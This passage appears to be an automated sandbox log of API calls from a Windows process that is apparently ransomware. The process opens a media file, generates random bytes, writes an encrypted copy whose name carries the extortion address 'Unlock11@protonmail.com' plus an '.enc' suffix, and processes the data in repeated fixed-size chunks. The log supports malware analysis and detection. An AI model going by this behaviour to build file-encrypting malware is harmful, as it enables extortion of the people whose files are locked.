(HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0119.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0119.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea278 [0119.346] GetCurrentThreadId () returned 0x9b0 [0119.346] GetCurrentThreadId () returned 0x9b0 [0119.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea278 | out: hHeap=0x2ad0000) returned 1 [0119.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea278 [0119.347] GetCurrentThreadId () returned 0x9b0 [0119.347] GetCurrentThreadId () returned 0x9b0 [0119.347] GetCurrentThreadId () returned 0x9b0 [0119.347] GetCurrentThreadId () returned 0x9b0 [0119.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a728 [0119.347] GetCurrentThreadId () returned 0x9b0 [0119.347] GetCurrentThreadId () returned 0x9b0 [0119.347] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84)) returned 1 [0119.347] GetCurrentThreadId () returned 0x9b0 [0119.348] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668f84 | out: pbBuffer=0x3668f84) returned 1 [0119.348] GetCurrentThreadId () returned 0x9b0 [0119.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0119.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0119.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0119.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea4d0 [0119.348] GetCurrentThreadId () returned 0x9b0 [0119.348] GetCurrentThreadId () returned 0x9b0 [0119.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea2a0 [0119.348] GetCurrentThreadId () returned 0x9b0 [0119.349] GetCurrentThreadId () returned 0x9b0 [0119.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0119.349] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0119.349] GetFileType (hFile=0x39c) returned 0x1 [0119.349] GetCurrentThreadId () returned 0x9b0 [0119.349] GetFileType (hFile=0x39c) returned 0x1 [0119.349] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0119.349] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.349] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.350] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.350] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.350] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.350] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.350] GetLastError () returned 0x0 [0119.350] GetCurrentThreadId () returned 0x9b0 [0119.350] GetLastError () returned 0x0 [0119.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653c8 | out: hHeap=0x2ad0000) returned 1 [0119.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db710 | out: hHeap=0x2ad0000) returned 1 [0119.350] GetLastError () returned 0x0 [0119.350] GetLastError () returned 0x0 [0119.350] GetLastError () returned 0x0 [0119.351] GetLastError () returned 0x0 [0119.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0119.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265428 [0119.351] GetLastError () returned 0x0 [0119.351] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0119.351] GetFileType (hFile=0x3ac) returned 0x1 [0119.351] GetLastError () returned 0x0 [0119.351] GetCurrentThreadId () returned 0x9b0 [0119.352] GetLastError () returned 0x0 [0119.352] GetFileType (hFile=0x3ac) returned 0x1 [0119.352] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0119.352] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.352] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.352] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.352] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.352] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.352] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.352] GetLastError () returned 0x0 [0119.352] GetCurrentThreadId () returned 0x9b0 [0119.352] GetLastError () returned 0x0 [0119.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265428 | out: hHeap=0x2ad0000) returned 1 [0119.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0119.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0119.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0119.353] GetLastError () returned 0x0 [0119.353] GetLastError () returned 0x0 [0119.353] GetCurrentThreadId () returned 0x9b0 [0119.353] GetLastError () returned 0x0 [0119.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0119.353] GetLastError () returned 0x0 [0119.353] GetLastError () returned 0x0 [0119.353] GetCurrentThreadId () returned 0x9b0 [0119.354] GetLastError () returned 0x0 [0119.354] GetLastError () returned 0x0 [0119.356] GetLastError () returned 0x0 [0119.356] GetCurrentThreadId () returned 0x9b0 [0119.356] GetLastError () returned 0x0 [0119.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0119.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.356] GetCurrentThreadId () returned 0x9b0 [0119.357] GetLastError () returned 0x0 [0119.357] GetLastError () returned 0x0 [0119.357] GetLastError () returned 0x0 [0119.358] GetLastError () returned 0x0 [0119.358] GetCurrentThreadId () returned 0x9b0 [0119.358] GetLastError () returned 0x0 [0119.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0119.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0119.358] GetLastError () returned 0x0 [0119.360] GetLastError () returned 0x0 [0119.360] GetCurrentThreadId () returned 0x9b0 [0119.360] GetLastError () returned 0x0 [0119.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.360] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.360] GetLastError () returned 0x0 [0119.361] GetLastError () returned 0x0 [0119.361] GetCurrentThreadId () returned 0x9b0 [0119.361] GetLastError () returned 0x0 [0119.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265308 [0119.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653c8 | out: hHeap=0x2ad0000) returned 1 [0119.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0119.362] GetLastError () returned 0x0 [0119.362] GetLastError () returned 0x0 [0119.362] GetLastError () returned 0x0 [0119.362] GetLastError () returned 0x0 [0119.363] GetCurrentThreadId () returned 0x9b0 [0119.363] GetLastError () returned 0x0 [0119.363] GetCurrentThreadId () returned 0x9b0 [0119.363] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0119.363] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.363] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0119.363] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0119.363] GetLastError () returned 0x0 [0119.364] GetLastError () returned 0x0 [0119.364] GetCurrentThreadId () returned 0x9b0 [0119.364] GetLastError () returned 0x0 [0119.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.364] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0119.365] GetLastError () returned 0x0 [0119.366] GetLastError () returned 0x0 [0119.366] GetCurrentThreadId () returned 0x9b0 [0119.366] GetLastError () returned 0x0 [0119.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.367] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265358 [0119.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265308 | out: hHeap=0x2ad0000) returned 1 [0119.367] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.367] GetLastError () returned 0x0 [0119.367] GetLastError () returned 0x0 [0119.367] GetLastError () returned 0x0 [0119.367] GetLastError () returned 0x0 [0119.368] GetCurrentThreadId () returned 0x9b0 [0119.368] GetLastError () returned 0x0 [0119.368] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.368] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0119.368] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0119.368] GetLastError () returned 0x0 [0119.369] GetLastError () returned 0x0 [0119.369] GetCurrentThreadId () returned 0x9b0 [0119.369] GetLastError () returned 0x0 [0119.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.369] GetCurrentThreadId () returned 0x9b0 [0119.369] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.370] GetLastError () returned 0x0 [0119.370] GetLastError () returned 0x0 [0119.370] GetCurrentThreadId () returned 0x9b0 [0119.371] GetLastError () returned 0x0 [0119.371] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.371] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265298 [0119.371] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265358 | out: hHeap=0x2ad0000) returned 1 [0119.371] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0119.371] GetLastError () returned 0x0 [0119.371] GetLastError () returned 0x0 [0119.372] GetLastError () returned 0x0 [0119.372] GetLastError () returned 0x0 [0119.372] GetCurrentThreadId () returned 0x9b0 [0119.372] GetLastError () returned 0x0 [0119.372] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.372] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0119.372] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0119.372] GetLastError () returned 0x0 [0119.373] GetLastError () returned 0x0 [0119.373] GetCurrentThreadId () returned 0x9b0 [0119.373] GetLastError () returned 0x0 [0119.374] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.374] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0119.374] GetLastError () returned 0x0 [0119.375] GetLastError () returned 0x0 [0119.376] GetCurrentThreadId () returned 0x9b0 [0119.376] GetLastError () returned 0x0 [0119.376] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.376] GetCurrentThreadId () returned 0x9b0 [0119.376] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652a8 [0119.376] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265298 | out: hHeap=0x2ad0000) returned 1 [0119.376] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.376] GetLastError () returned 0x0 [0119.377] GetLastError () returned 0x0 [0119.377] GetLastError () returned 0x0 [0119.377] GetLastError () returned 0x0 [0119.377] GetCurrentThreadId () returned 0x9b0 [0119.377] GetLastError () returned 0x0 [0119.377] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.377] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0119.377] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0119.377] GetLastError () returned 0x0 [0119.379] GetLastError () returned 0x0 [0119.379] GetCurrentThreadId () returned 0x9b0 [0119.379] GetLastError () returned 0x0 [0119.379] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.379] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.379] GetLastError () returned 0x0 [0119.380] GetLastError () returned 0x0 [0119.380] GetCurrentThreadId () returned 0x9b0 [0119.380] GetLastError () returned 0x0 [0119.381] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.381] GetCurrentThreadId () returned 0x9b0 [0119.381] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265358 [0119.381] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652a8 | out: hHeap=0x2ad0000) returned 1 [0119.381] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0119.381] GetLastError () returned 0x0 [0119.381] GetLastError () returned 0x0 [0119.381] GetLastError () returned 0x0 [0119.382] GetLastError () returned 0x0 [0119.382] GetCurrentThreadId () returned 0x9b0 [0119.382] GetLastError () returned 0x0 [0119.382] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.382] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0119.382] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0119.382] GetLastError () returned 0x0 [0119.383] GetLastError () returned 0x0 [0119.383] GetCurrentThreadId () returned 0x9b0 [0119.383] GetLastError () returned 0x0 [0119.383] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.384] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0119.384] GetLastError () returned 0x0 [0119.384] GetLastError () returned 0x0 [0119.384] GetCurrentThreadId () returned 0x9b0 [0119.384] GetLastError () returned 0x0 [0119.384] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.384] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265428 [0119.384] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265358 | out: hHeap=0x2ad0000) returned 1 [0119.384] GetCurrentThreadId () returned 0x9b0 [0119.384] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.385] GetLastError () returned 0x0 [0119.385] GetLastError () returned 0x0 [0119.385] GetLastError () returned 0x0 [0119.385] GetLastError () returned 0x0 [0119.385] GetCurrentThreadId () returned 0x9b0 [0119.385] GetLastError () returned 0x0 [0119.385] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.385] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0119.386] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0119.386] GetLastError () returned 0x0 [0119.386] GetLastError () returned 0x0 [0119.387] GetCurrentThreadId () returned 0x9b0 [0119.387] GetLastError () returned 0x0 [0119.387] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.387] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.387] GetLastError () returned 0x0 [0119.387] GetLastError () returned 0x0 [0119.389] GetCurrentThreadId () returned 0x9b0 [0119.389] GetLastError () returned 0x0 [0119.389] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.389] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265468 [0119.389] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265428 | out: hHeap=0x2ad0000) returned 1 [0119.389] GetCurrentThreadId () returned 0x9b0 [0119.389] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0119.389] GetLastError () returned 0x0 [0119.390] GetLastError () returned 0x0 [0119.390] GetLastError () returned 0x0 [0119.390] GetLastError () returned 0x0 [0119.390] GetCurrentThreadId () returned 0x9b0 [0119.390] GetLastError () returned 0x0 [0119.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.390] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0119.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0119.390] GetLastError () returned 0x0 [0119.391] GetLastError () returned 0x0 [0119.391] GetCurrentThreadId () returned 0x9b0 [0119.391] GetLastError () returned 0x0 [0119.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.392] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0119.392] GetLastError () returned 0x0 [0119.392] GetLastError () returned 0x0 [0119.392] GetCurrentThreadId () returned 0x9b0 [0119.392] GetLastError () returned 0x0 [0119.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.392] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265358 [0119.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0119.393] GetCurrentThreadId () returned 0x9b0 [0119.393] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.393] GetLastError () returned 0x0 [0119.393] GetLastError () returned 0x0 [0119.393] GetLastError () returned 0x0 [0119.393] GetLastError () returned 0x0 [0119.393] GetCurrentThreadId () returned 0x9b0 [0119.393] GetLastError () returned 0x0 [0119.394] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0119.394] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0119.394] GetLastError () returned 0x0 [0119.395] GetLastError () returned 0x0 [0119.395] GetCurrentThreadId () returned 0x9b0 [0119.395] GetLastError () returned 0x0 [0119.396] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.396] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.396] GetLastError () returned 0x0 [0119.396] GetLastError () returned 0x0 [0119.397] GetCurrentThreadId () returned 0x9b0 [0119.397] GetLastError () returned 0x0 [0119.397] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.397] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265288 [0119.397] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265358 | out: hHeap=0x2ad0000) returned 1 [0119.397] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0119.397] GetCurrentThreadId () returned 0x9b0 [0119.397] GetLastError () returned 0x0 [0119.398] GetLastError () returned 0x0 [0119.398] GetLastError () returned 0x0 [0119.398] GetLastError () returned 0x0 [0119.398] GetCurrentThreadId () returned 0x9b0 [0119.398] GetLastError () returned 0x0 [0119.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.398] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0119.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0119.399] GetLastError () returned 0x0 [0119.399] GetLastError () returned 0x0 [0119.400] GetCurrentThreadId () returned 0x9b0 [0119.400] GetLastError () returned 0x0 [0119.400] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0119.400] GetLastError () returned 0x0 [0119.400] GetLastError () returned 0x0 [0119.400] GetCurrentThreadId () returned 0x9b0 [0119.400] GetLastError () returned 0x0 [0119.400] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653c8 [0119.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265288 | out: hHeap=0x2ad0000) returned 1 [0119.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.401] GetCurrentThreadId () returned 0x9b0 [0119.401] GetLastError () returned 0x0 [0119.401] GetLastError () returned 0x0 [0119.401] GetLastError () returned 0x0 [0119.401] GetLastError () returned 0x0 [0119.401] GetCurrentThreadId () returned 0x9b0 [0119.401] GetLastError () returned 0x0 [0119.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0119.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0119.402] GetLastError () returned 0x0 [0119.403] GetLastError () returned 0x0 [0119.403] GetCurrentThreadId () returned 0x9b0 [0119.403] GetLastError () returned 0x0 [0119.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.403] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.403] GetLastError () returned 0x0 [0119.404] GetLastError () returned 0x0 [0119.404] GetCurrentThreadId () returned 0x9b0 [0119.404] GetLastError () returned 0x0 [0119.405] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.405] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265358 [0119.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653c8 | out: hHeap=0x2ad0000) returned 1 [0119.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0119.406] GetCurrentThreadId () returned 0x9b0 [0119.406] GetLastError () returned 0x0 [0119.406] GetLastError () returned 0x0 [0119.406] GetLastError () returned 0x0 [0119.406] GetLastError () returned 0x0 [0119.407] GetCurrentThreadId () returned 0x9b0 [0119.407] GetLastError () returned 0x0 [0119.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0119.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0119.407] GetLastError () returned 0x0 [0119.408] GetLastError () returned 0x0 [0119.409] GetCurrentThreadId () returned 0x9b0 [0119.409] GetLastError () returned 0x0 [0119.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0119.409] GetLastError () returned 0x0 [0119.409] GetLastError () returned 0x0 [0119.409] GetCurrentThreadId () returned 0x9b0 [0119.409] GetLastError () returned 0x0 [0119.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 